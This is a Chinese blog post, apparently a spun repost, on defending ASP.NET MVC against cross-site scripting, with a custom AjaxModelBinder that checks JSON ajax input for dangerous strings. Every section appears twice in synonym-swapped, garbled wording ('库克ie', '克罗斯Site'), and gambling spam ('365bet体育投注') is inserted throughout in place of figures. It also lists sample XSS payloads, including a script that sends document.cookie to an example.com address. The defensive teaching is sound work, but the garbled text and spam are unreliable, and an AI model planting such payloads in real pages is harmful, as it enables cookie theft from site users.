简介
  跨站脚本攻击(CrossSite Scripting),为不和层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里安排恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被实践,从而达到恶意攻击用户的特有目标,比如获取用户的Cookie,导航到黑心网站,辅导木马等。

简介
  跨站脚本攻击(克罗斯Site Scripting),为不和层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里安顿恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被实施,从而达到恶意攻击用户的卓越目标,比如获取用户的库克ie,导航到黑心网站,指导木马等。

一些情景

部分面貌

  1.
恶意攻击者可以在民用介绍其中插入恶意代码,那么其他用户访问他的个人音信时,就会举办恶意代码。
  2.
恶意攻击者可以宣布一篇作品,取贰个吸引眼球的标题,在内容里安排恶意代码,那么用户查看那篇作品时,就会举办恶意代码。
  3.
恶心攻击者在一部分紧俏小说或帖子里的还原或留言中插入恶意代码,那么用户浏览到她的复原或留言时,就会实施恶意代码。

  1.
恶心攻击者可以在民用介绍其中插入恶意代码,那么其余用户访问他的个人音讯时,就会举办恶意代码。
365bet体育投注,  2.
恶心攻击者可以发表一篇小说,取两个吸引眼球的标题,在内容里安排恶意代码,那么用户查看那篇文章时,就会实施恶意代码。
  3.
恶意攻击者在一些吃香文章或帖子里的回涨或留言中插入恶意代码,那么用户浏览到他的过来或留言时,就会履行恶意代码。

以免XSS的多个级次

防患XSS的七个等级

  1.
交到数据时,就对数据举行求证,倘诺带有恶意脚本,则不让数据进库,ASP.NET
MVC默许是会做那几个表明。如下图,如若打算插入恶意脚本,就会得到3个HttpRequestValidationException。注:图2水绿框中的方法后续会涉嫌。

  1.
提交数据时,就对数据开展验证,如果带有恶意脚本,则不让数据进库,ASP.NET
MVC暗许是会做那个表明。如下图,如若打算插入恶意脚本,就会博得3个HttpRequestValidationException。注:图2浅蓝框中的方法后续会涉及。

    
365bet体育投注 1

    
365bet体育投注 2

                  图1

                  图1

    
365bet体育投注 3

    
365bet体育投注 4

                  图2

                  图2

  即使大家要求允许脚本入库,可以在相应的Action上充足[ValidateInput(false)]。此时恶意脚本还不或然生出胁制,因为还有前面二个阶段的幸免措施。

  若是大家必要允许脚本入库,可以在相应的Action上充分[ValidateInput(false)]。此时恶意脚本还不能够暴发威迫,因为还有前边贰个阶段的防患措施。

     
365bet体育投注 5

     
365bet体育投注 6

                  图3

                  图3

     
365bet体育投注 7

     
365bet体育投注 8

                   
图4

                   
图4

 2.
出口数据时,对出口的情节采纳HTML编码,恶意脚本不会被实施。而且,MVC的Razor语法暗许就选择HTML编码。然则假诺大家使用Html.Raw()来输出内容的话,恶意脚本就会发生威慑。

 2.
输出数据时,对输出的情节接纳HTML编码,恶意脚本不会被实践。而且,MVC的Razor语法暗中认同就利用HTML编码。不过只要大家接纳Html.Raw()来输出内容的话,恶意脚本就会爆发威胁。

     
365bet体育投注 9

     
365bet体育投注 10

                 图5

                 图5

    
365bet体育投注 11

    
365bet体育投注 12

                 图6

                 图6

 一些恶心脚本

 一些恶意脚本

  1.
总结的弹窗可能内容显示。
  <script>alert(‘你被黑了!’)</script>
 
  2.
导航到黑心网站。注:这里只是拔取百度网站作为导航演示,并不是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

  1.
归纳的弹窗可能内容呈现。
  <script>alert(‘你被黑了!’)</script>
 
  2.
导航到黑心网站。注:那里只是使用百度网站作为导航演示,并不是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

 $.ajax数据证实失效?

 $.ajax数据印证失效?

  我们只要大家的必要是分裂意含有恶意脚本的数目进库的,不过我们使用了jquey的ajax举行交互。

  我们若是大家的须求是不容许含有恶意脚本的数据进库的,不过大家使用了jquey的ajax举办相互。

     
365bet体育投注 13

     
365bet体育投注 14

                图7

                图7

     
365bet体育投注 15

     
365bet体育投注 16

                图8

                图8

     
365bet体育投注 17

     
365bet体育投注 18

                图9

                图9

     
365bet体育投注 19

     
365bet体育投注 20

              图10

              图10

  数据依然进库,为何吗?我们来研商下图2红框中的方法。

  数据大概进库,为啥吗?我们来切磋下图2红框中的方法。

     
365bet体育投注 21

     
365bet体育投注 22

                图11

                图11

     
365bet体育投注 23

     
365bet体育投注 24

                图12

                图12

  从图12中,笔者臆度MVC会对Request中的以上内容展开认证,不过jquery
ajax的多寡是存在Request的Content里面的,由此,暗中认同的证实对jquery
ajax并不曾意义。

  从图12中,作者推断MVC会对Request中的以上内容举行求证,可是jquery
ajax的多寡是存在Request的Content里面的,因此,默许的注脚对jquery
ajax并没有效用。

 $.ajax数据表达达成

 $.ajax数据证实落成

  要对$.ajax进行数量表明,笔者从ModelBinder下手。具体代码如下:

  要对$.ajax举行数量表达,笔者从ModelBinder出手。具体代码如下:

 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }
 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }

  然后在Global.asax.cs中注册AjaxModelBinder。

  然后在Global.asax.cs中注册AjaxModelBinder。

365bet体育投注 25

365bet体育投注 26

              图13

              图13

  那么,输入数据有恶心脚本时就会被检测出来。

  那么,输入数据有恶心脚本时就会被检测出来。

 365bet体育投注 27

 365bet体育投注 28

                图14

                图14

  关于AjaxModelBinder中的IsDangerousString方法,小编是从.Net的源码拷贝过来的。

  关于AjaxModelBinder中的IsDangerousString方法,笔者是从.Net的源码拷贝过来的。

 365bet体育投注 29

 365bet体育投注 30

                  图15

                  图15

AntiXSS第1方组件

AntiXSS第壹方组件

  借使使用.Net4.0及以上的版本,那么就不须要引入AntiXSS,因为.Net
4.0早已把AntiXSS集成进来了。假诺是其余版本则必要引入。

  假若使用.Net4.0及以上的版本,那么就不需求引入AntiXSS,因为.Net
4.0早已把AntiXSS集成进来了。要是是其余版本则必要引入。

源码下载

  为了方便使用,作者从未采纳任何数据库,而是用了一个文书来囤积数据。代码下载后方可一向运营,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  365bet体育投注 31

 

作品转发自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

源码下载

  为了方便使用,小编并未行使其余数据库,而是用了三个文本来存储数据。代码下载后可以一直运营,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  365bet体育投注 32

 

小说转发自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

相关文章

网站地图xml地图